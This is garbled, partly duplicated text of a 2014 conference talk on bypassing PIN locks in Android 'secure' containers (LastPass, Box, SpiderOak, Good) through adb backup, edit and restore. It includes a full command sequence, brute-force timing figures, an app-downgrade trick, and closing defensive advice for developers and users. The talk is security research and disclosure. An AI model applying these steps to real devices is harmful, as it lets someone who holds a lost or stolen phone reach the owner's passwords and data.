httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 17: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 28

hellip I lost my phone

Chris John Riley | 22102014 | 29

314 mobile phones stolen in London every day

offenders traced three or four times out of 10

Source UK Metropolitan Police 012013

Chris John Riley | 22102014 | 30

state of

securityDevice

Source threatpost

Chris John Riley | 22102014 | 32

Chris John Riley | 22102014 | 33

Android PIN Brute-Force

bull Teensy devicebull Programmable USB HIDbull ~166 hours (4 digit PIN)

httpsforumshak5orgindexphptopic28165-payload-android-brute-force-4-digit-pin

KEEPCALM

Chris John Riley | 22102014 | 35

secure contaıners

wıll save us

Chris John Riley | 22102014 | 36

hellip or not

Chris John Riley | 22102014 | 38

Sc narıo

1

e

Chris John Riley | 22102014 | 39

Scenario

bull Given physical access to a devicebull What security do ldquosecurerdquo containers provide

bull temporary access (lt 3 minutes)bull permanent access

Chris John Riley | 22102014 | 41

buthellip

Chris John Riley | 22102014 | 42

remember

Chris John Riley | 22102014 | 43

secure containers

will SAVE us

Chris John Riley | 22102014 | 44

Chris John Riley | 22102014 | 46

G ALS

11

][

Chris John Riley | 22102014 | 47

TLDR

Chris John Riley | 22102014 | 48

pwn secure

contaıners

Chris John Riley | 22102014 | 49

G ALMYNOT

Chris John Riley | 22102014 | 50

bypass devıce PIN12

34

Chris John Riley | 22102014 | 51

r00t the device

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
